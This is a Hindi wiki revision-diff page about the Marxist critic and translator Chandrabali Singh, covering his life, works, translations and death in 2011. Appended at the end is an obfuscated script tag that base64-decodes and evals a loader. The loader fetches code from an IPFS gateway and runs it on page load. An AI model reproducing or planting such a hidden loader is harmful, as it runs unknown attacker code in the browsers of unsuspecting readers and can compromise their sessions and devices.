चन्द्रबली सिंह: Difference between revisions
[unchecked revision] | [unchecked revision] |
गोविन्द राम (talk | contribs) No edit summary |
गोविन्द राम (talk | contribs) No edit summary |
||
Line 9: | Line 9: | ||
==सास्कृतिक आंदोलन के प्रखर समर्थक== | ==सास्कृतिक आंदोलन के प्रखर समर्थक== | ||
चन्द्रबली जी [[रामविलास शर्मा]], [[त्रिलोचन शास्त्री]] की पीढी़ से लेकर प्रगतिशील संस्कृतिकर्मियों की युवतम पीढी़ के साथ चलने की कुव्वत रखते थे। वे जनवादी लेखक संघ के संस्थापक महासचिव और बाद में अध्यक्ष रहे। उससे पहले तक वे प्रगतिशील लेखक संघ के महत्वपुर्ण स्तम्भ थे। जन संस्कृति मंच के साथ उनके आत्मीय संबंध ताजिन्दगी रहे। बाबरी मस्जिद ढहाए जाने के बाद राष्ट्रीय एकता अभियान के तहत सांस्कृतिक संगठनों के साझा अभियान की कमान बनारस में उन्हीं के हाथ थी और इस दौर में उनके और हमारे संगठन के बीच जो आत्मीय रिश्ता क़ायम हुआ, वह सदैव ही चलता रहा। उनके साक्षात्कार ‘समकालीन जनमत’ में प्रकाशित हुए। चन्द्रबली जी वाम सास्कृतिक आंदोलन के समन्वय के प्रखर समर्थक रहे।<br /> | चन्द्रबली जी [[रामविलास शर्मा]], [[त्रिलोचन शास्त्री]] की पीढी़ से लेकर प्रगतिशील संस्कृतिकर्मियों की युवतम पीढी़ के साथ चलने की कुव्वत रखते थे। वे जनवादी लेखक संघ के संस्थापक महासचिव और बाद में अध्यक्ष रहे। उससे पहले तक वे प्रगतिशील लेखक संघ के महत्वपुर्ण स्तम्भ थे। जन संस्कृति मंच के साथ उनके आत्मीय संबंध ताजिन्दगी रहे। बाबरी मस्जिद ढहाए जाने के बाद राष्ट्रीय एकता अभियान के तहत सांस्कृतिक संगठनों के साझा अभियान की कमान बनारस में उन्हीं के हाथ थी और इस दौर में उनके और हमारे संगठन के बीच जो आत्मीय रिश्ता क़ायम हुआ, वह सदैव ही चलता रहा। उनके साक्षात्कार ‘समकालीन जनमत’ में प्रकाशित हुए। चन्द्रबली जी वाम सास्कृतिक आंदोलन के समन्वय के प्रखर समर्थक रहे।<br /> | ||
चन्द्रबली जी ने मार्क्सवादी सांस्कृतिक आन्दोलन के भीतर की बहसों के उन्नत रूप और स्तर के लिए हरदम ही संघर्ष किया। ‘नई चेतना’ [[1951]] में उनका लेख छपा था- ‘साहित्य का संयुक्त मोर्चा’। (बाद में वह ‘आलोचना का जनपक्ष’ पुस्तक में संकलित भी हुआ। चन्द्रबली जी ने इस लेख में लिखा, ‘सबसे अधिक निर्लिप्त और उद्देश्यपूर्ण आलोचना आत्मालोचना कम्यूनिस्ट- लेखकों और आलोचकों की और से आनी चाहिए। उन्हें अपने भटकावों को स्वीकार करने में किसी प्रकार की झेंप या भीरुता नहीं दिखलानी चाहिए, क्योंकि जागरूक क्रांतिकारी की यह सबसे बड़ी पहचान है कि वह आम जनता को अपने साथ लेकर चलता है और वह यह जानता है कि दूसरों की आलोचना के साथ-साथ जब तक वह अपनी भी आलोचना नहीं करता, तब तक वह न सिर्फ जनता को ही साथ न ले सकेगा, वरन स्वयं भी वह अपने लिए सही मार्ग का निर्धारण नहीं करा पाएगा। दूसरों की आलोचना में भी चापलूसी करने की आवश्यकता नहीं, क्योंकि चापलूसी उन्हें कुछ समय तक धोखा दे सकती है, किन्तु उन्हें सुधार नहीं सकती। मैत्रीपूर्ण आलोचना का यह अर्थ नहीं कि हम दूसरों की गलतियों को जानते हुए भी छिपाकर रखें। आत्मालोचना के स्तर और रूप की यही विशेषता- मार्क्सवादी आलोचना होनी चाहिए कि हम उसके सहारे आगे बढ़ सकें।’<ref | चन्द्रबली जी ने मार्क्सवादी सांस्कृतिक आन्दोलन के भीतर की बहसों के उन्नत रूप और स्तर के लिए हरदम ही संघर्ष किया। ‘नई चेतना’ [[1951]] में उनका लेख छपा था- ‘साहित्य का संयुक्त मोर्चा’। (बाद में वह ‘आलोचना का जनपक्ष’ पुस्तक में संकलित भी हुआ। चन्द्रबली जी ने इस लेख में लिखा, ‘सबसे अधिक निर्लिप्त और उद्देश्यपूर्ण आलोचना आत्मालोचना कम्यूनिस्ट- लेखकों और आलोचकों की और से आनी चाहिए। उन्हें अपने भटकावों को स्वीकार करने में किसी प्रकार की झेंप या भीरुता नहीं दिखलानी चाहिए, क्योंकि जागरूक क्रांतिकारी की यह सबसे बड़ी पहचान है कि वह आम जनता को अपने साथ लेकर चलता है और वह यह जानता है कि दूसरों की आलोचना के साथ-साथ जब तक वह अपनी भी आलोचना नहीं करता, तब तक वह न सिर्फ जनता को ही साथ न ले सकेगा, वरन स्वयं भी वह अपने लिए सही मार्ग का निर्धारण नहीं करा पाएगा। दूसरों की आलोचना में भी चापलूसी करने की आवश्यकता नहीं, क्योंकि चापलूसी उन्हें कुछ समय तक धोखा दे सकती है, किन्तु उन्हें सुधार नहीं सकती। मैत्रीपूर्ण आलोचना का यह अर्थ नहीं कि हम दूसरों की गलतियों को जानते हुए भी छिपाकर रखें। आत्मालोचना के स्तर और रूप की यही विशेषता- मार्क्सवादी आलोचना होनी चाहिए कि हम उसके सहारे आगे बढ़ सकें।’<ref>{{cite web |url=http://lekhakmanch.com/%E0%A4%9A%E0%A4%A8%E0%A5%8D%E0%A4%A6%E0%A5%8D%E0%A4%B0%E0%A4%AC%E0%A4%B2%E0%A5%80-%E0%A4%B8%E0%A4%BF%E0%A4%82%E0%A4%B9-%E0%A4%95%E0%A5%87-%E0%A4%B0%E0%A5%82%E0%A4%AA-%E0%A4%AE%E0%A5%87%E0%A4%82.html |title= चन्द्रबली सिंह के रूप में प्रेरणा स्रोत खो दिया |accessmonthday=15 अप्रॅल |accessyear=2014 |last=|first=|authorlink= |format= |publisher= लेखक मंच|language=हिंदी }}</ref> | ||
==निधन== | ==निधन== | ||
हिन्दी के सुप्रसिद्ध मार्क्सवादी आलोचक, संगठनकर्ता और विश्व कविता के श्रेष्टतम अनुवादकों में शुमार कामरेड चन्द्रबली सिंह का [[23 मई]], [[2011]] को 87 वर्ष की आयु में [[बनारस]] में निधन हो गया। चन्द्रबली जी का जाना एक ऐसे कर्मठ वाम बुद्धिजीवी का जाना है जो मार्क्सवादी सांस्कृतिक आन्दोलन के हर हिस्से में बराबर समादृत और प्रेरणा का स्रोत रहा। | हिन्दी के सुप्रसिद्ध मार्क्सवादी आलोचक, संगठनकर्ता और विश्व कविता के श्रेष्टतम अनुवादकों में शुमार कामरेड चन्द्रबली सिंह का [[23 मई]], [[2011]] को 87 वर्ष की आयु में [[बनारस]] में निधन हो गया। चन्द्रबली जी का जाना एक ऐसे कर्मठ वाम बुद्धिजीवी का जाना है जो मार्क्सवादी सांस्कृतिक आन्दोलन के हर हिस्से में बराबर समादृत और प्रेरणा का स्रोत रहा। | ||
Line 18: | Line 18: | ||
==बाहरी कड़ियाँ== | ==बाहरी कड़ियाँ== | ||
*[http://jagadishwarchaturvedi.blogspot.in/2009/09/blog-post_15.html लेखक अब डर गए हैं: चन्द्रबली सिंह ] | *[http://jagadishwarchaturvedi.blogspot.in/2009/09/blog-post_15.html लेखक अब डर गए हैं: चन्द्रबली सिंह ] | ||
*[http://nepathyaleela.blogspot.in/2011/05/blog-post_29.html श्रद्धांजलि: चन्द्रबली सिंह ] | |||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{साहित्यकार}} | {{साहित्यकार}} |
Revision as of 12:09, 15 April 2014
चन्द्रबली सिंह (जन्म- 20 अप्रैल, 1924, गाजीपुर, उत्तर प्रदेश; मृत्यु- 23 मई, 2011) एक लेखक होने के साथ-साथ उत्कृष्ठ कोटि के अनुवादक भी थे। गाजीपुर में जन्में चन्द्रबली सिंह ने 'लोक दृष्टि', 'हिन्दी साहित्य' तथा 'आलोचना का जनपक्ष' नामक शीर्षक से पुस्तक का प्रकाशन किया। इनकी गिनती एक उत्कृष्ठ कोटि के अनुवादक के रूप में भी की जाती थी।[1]
जीवन परिचय
चन्द्रबली सिंह अंग्रेज़ी के परम विद्वान होकर भी हिन्दी के साधक थे। वे रामविलास शर्मा के सानिध्य में काफी लम्बे समय तक आगरा के बलवंत राजपूत स्नातकोत्तर महाविद्यालय में प्राध्यापन करते रहे। चन्द्रबली सिंह अपनी साइकिल की डंडी पर रामविलास जी को बैठाकर, गपशप करते हुए, महाविद्यालय आते-जाते थे। रामविलास शर्मा ने अपनी रामचन्द्र शुक्ल पर लिखी आलोचना पुस्तक को चन्द्रबली सिंह को अभूतपूर्व आलोचक कहकर समर्पित किया है। वे लम्बे-छरहरे थे। पान अधिक खाने से उनके दाँत काले पड़ गए थे, किन्तु उनकी वाणी में मिठास थी। जो भी इनके पास आता, इनका ही हो जाता था। वे सरल और सहृदय थे।[2]
साहित्यिक परिचय
चन्द्रबली सिंह ने जो आलोचनात्मक निबंध लिखे हैं, वे उनकी दो पुस्तकों में संकलित हैं-
- लोकदृष्टि और हिन्दी साहित्य
- आलोचना का जनपद
चूँकि वे अंग्रेजी कविता के मर्मज्ञ थे, छठे दशक में नाजिम हिकमत की कविताओं के अनुवाद किए थे, जो पुस्तकाकार ‘हाथ’ शीर्षक से छपा था। साहित्य अकादमी से उनकी पाब्लो नेरूदा की कविताओं का एक संचयन प्रकाशित हुआ था। अपनी मृत्यु के पूर्व उन्होंने एमिली डिकिन्सन, वाल्ट ह्निटमन एवं बर्तोल्ट ब्रेख्त की कविताओं के अनुवाद किए थे, जो महात्मा गाँधी अंतराष्ट्रीय विश्वविद्यालय के सहयोगी से वाणी प्रकाशन द्वारा प्रकाशित किया गया है। खेद का विषय यह है कि वे इन किताबों को प्रकाशित रूप में नहीं देख पाए। वाल्ट ह्निटमन अमरीका के राष्ट्रीय कवि हैं। वे कविता में मुक्तछंद के जन्मदाता हैं। ‘घास की पत्तियाँ’ उनकी अमर कृति है, जिसकी लोकप्रियता देश-देशान्तर में है। चन्द्रबली सिंह युवावस्था से ही उनकी कविताओं के मर्मज्ञ अध्येता रहे हैं। उन्होंने ह्निटमन की कविताओं का लन्मयता में डूबकर हिन्दी में रूपान्तर किया है। यह पुस्तक चन्द्रबली सिंह की उम्र भर की साधना का प्रतिफल है। अमरीका के इस महान कवि के महत्त्व को हिन्दी के प्रारम्भिक दो साहित्य-निर्माताओं ने बीसवीं शताब्दी के प्रारम्भ में ही स्वीकार कर लिया था और चन्द्रबली सिंह ने उनकी महत्ता को समग्रता में पहली बार उजागर किया। उन्होंने वाल्ट ह्निटमन की संक्षिप्त जीवनी के साथ-साथ उनकी कविताओं पर विस्तार से विचार किया है।[2]
सास्कृतिक आंदोलन के प्रखर समर्थक
चन्द्रबली जी रामविलास शर्मा, त्रिलोचन शास्त्री की पीढी़ से लेकर प्रगतिशील संस्कृतिकर्मियों की युवतम पीढी़ के साथ चलने की कुव्वत रखते थे। वे जनवादी लेखक संघ के संस्थापक महासचिव और बाद में अध्यक्ष रहे। उससे पहले तक वे प्रगतिशील लेखक संघ के महत्वपुर्ण स्तम्भ थे। जन संस्कृति मंच के साथ उनके आत्मीय संबंध ताजिन्दगी रहे। बाबरी मस्जिद ढहाए जाने के बाद राष्ट्रीय एकता अभियान के तहत सांस्कृतिक संगठनों के साझा अभियान की कमान बनारस में उन्हीं के हाथ थी और इस दौर में उनके और हमारे संगठन के बीच जो आत्मीय रिश्ता क़ायम हुआ, वह सदैव ही चलता रहा। उनके साक्षात्कार ‘समकालीन जनमत’ में प्रकाशित हुए। चन्द्रबली जी वाम सास्कृतिक आंदोलन के समन्वय के प्रखर समर्थक रहे।
चन्द्रबली जी ने मार्क्सवादी सांस्कृतिक आन्दोलन के भीतर की बहसों के उन्नत रूप और स्तर के लिए हरदम ही संघर्ष किया। ‘नई चेतना’ 1951 में उनका लेख छपा था- ‘साहित्य का संयुक्त मोर्चा’। (बाद में वह ‘आलोचना का जनपक्ष’ पुस्तक में संकलित भी हुआ। चन्द्रबली जी ने इस लेख में लिखा, ‘सबसे अधिक निर्लिप्त और उद्देश्यपूर्ण आलोचना आत्मालोचना कम्यूनिस्ट- लेखकों और आलोचकों की और से आनी चाहिए। उन्हें अपने भटकावों को स्वीकार करने में किसी प्रकार की झेंप या भीरुता नहीं दिखलानी चाहिए, क्योंकि जागरूक क्रांतिकारी की यह सबसे बड़ी पहचान है कि वह आम जनता को अपने साथ लेकर चलता है और वह यह जानता है कि दूसरों की आलोचना के साथ-साथ जब तक वह अपनी भी आलोचना नहीं करता, तब तक वह न सिर्फ जनता को ही साथ न ले सकेगा, वरन स्वयं भी वह अपने लिए सही मार्ग का निर्धारण नहीं करा पाएगा। दूसरों की आलोचना में भी चापलूसी करने की आवश्यकता नहीं, क्योंकि चापलूसी उन्हें कुछ समय तक धोखा दे सकती है, किन्तु उन्हें सुधार नहीं सकती। मैत्रीपूर्ण आलोचना का यह अर्थ नहीं कि हम दूसरों की गलतियों को जानते हुए भी छिपाकर रखें। आत्मालोचना के स्तर और रूप की यही विशेषता- मार्क्सवादी आलोचना होनी चाहिए कि हम उसके सहारे आगे बढ़ सकें।’[3]
निधन
हिन्दी के सुप्रसिद्ध मार्क्सवादी आलोचक, संगठनकर्ता और विश्व कविता के श्रेष्टतम अनुवादकों में शुमार कामरेड चन्द्रबली सिंह का 23 मई, 2011 को 87 वर्ष की आयु में बनारस में निधन हो गया। चन्द्रबली जी का जाना एक ऐसे कर्मठ वाम बुद्धिजीवी का जाना है जो मार्क्सवादी सांस्कृतिक आन्दोलन के हर हिस्से में बराबर समादृत और प्रेरणा का स्रोत रहा।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ काशी के साहित्यकार (हिन्दी)। । अभिगमन तिथि: 24 जनवरी, 2014।
- ↑ 2.0 2.1 यायावर, भारत। अमरीका का वह निराला कवि (हिंदी) रविवार डॉट कॉम। अभिगमन तिथि: 15 अप्रॅल, 2014।
- ↑ चन्द्रबली सिंह के रूप में प्रेरणा स्रोत खो दिया (हिंदी) लेखक मंच। अभिगमन तिथि: 15 अप्रॅल, 2014।
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>